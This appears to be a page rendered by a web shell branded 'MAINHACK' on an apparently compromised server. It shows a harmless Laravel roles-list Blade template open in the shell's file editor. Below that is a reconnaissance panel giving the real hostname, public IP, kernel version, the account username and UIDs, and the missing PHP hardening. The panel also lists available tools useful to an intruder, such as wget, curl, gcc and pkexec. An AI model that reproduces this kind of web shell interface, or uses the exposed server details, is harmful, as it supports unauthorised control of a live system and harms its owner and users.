[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.blade.php
@extends('layouts.master') @section('title') {{__('Roles')}} @endsection @section('main_content') <div class="erp-table-section"> <div class="container-fluid"> <div class="card"> <div class="card-bodys"> <div class="table-header p-16"> <h4>{{__('Roles List')}}</h4> </div> <div class="row mb-4 p-16"> @can('roles-create') <div class="col-xl-4 col-lg-6 col-md-6 mt-3"> <div class="cards shadow border-0 h-100"> <div class="row"> <div class="col-sm-5"> <div class="d-flex align-items-end justify-content-center h-100"> <img src="{{ asset('assets/images/icons/user-roles.svg') }}" class="img-fluid mt-2" alt="Image" width="85"> </div> </div> <div class="col-sm-7"> <div class="card-body text-sm-end text-center ps-sm-0 ms-2"> <a href="{{ route('admin.roles.create') }}"> <span class="btn btn-warning btn-custom-warning fw-bold text-uppercase btn-sm mb-1">{{ __("Add New Role") }}</span> </a> <small class="mb-0 d-block">{{ __("Add role, if it does not exist") }}</small> </div> </div> </div> </div> </div> @endcan @foreach($roles as $role) <div class="col-xl-4 col-lg-6 col-md-6 mt-3"> <div class="cards shadow border-0"> <div class="card-body"> <div class="d-flex justify-content-between"> <span>{{ __("Total :count users", ['count' => $role->users_count]) }}</span> <ul class="list-unstyled d-flex align-items-center avatar-group mb-0"> @foreach($role->users->take(5) as $user) <li class="avatar avatar-sm pull-up"> <img class="rounded-circle" src="{{ asset($user->image) }}" alt="{{ ucfirst($user->name) }}"> </li> @endforeach </ul> </div> <div class="d-flex justify-content-between align-items-end mt-1 pt-25"> <div class="role-heading"> <h4 class="fw-bolder">{{ ucfirst($role->name) }} <i class="{{ request('id') == $role->id ? 'fas fa-bell text-red' : '' }}"></i></h4> @can('roles-update') <a class="primary" href="{{ route('admin.roles.edit', $role->id) }}"> <small class="fw-bolder">{{ __("Edit Role") }}</small> </a> @endcan </div> </div> </div> </div> </div> @endforeach </div> </div> </div> </div> </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002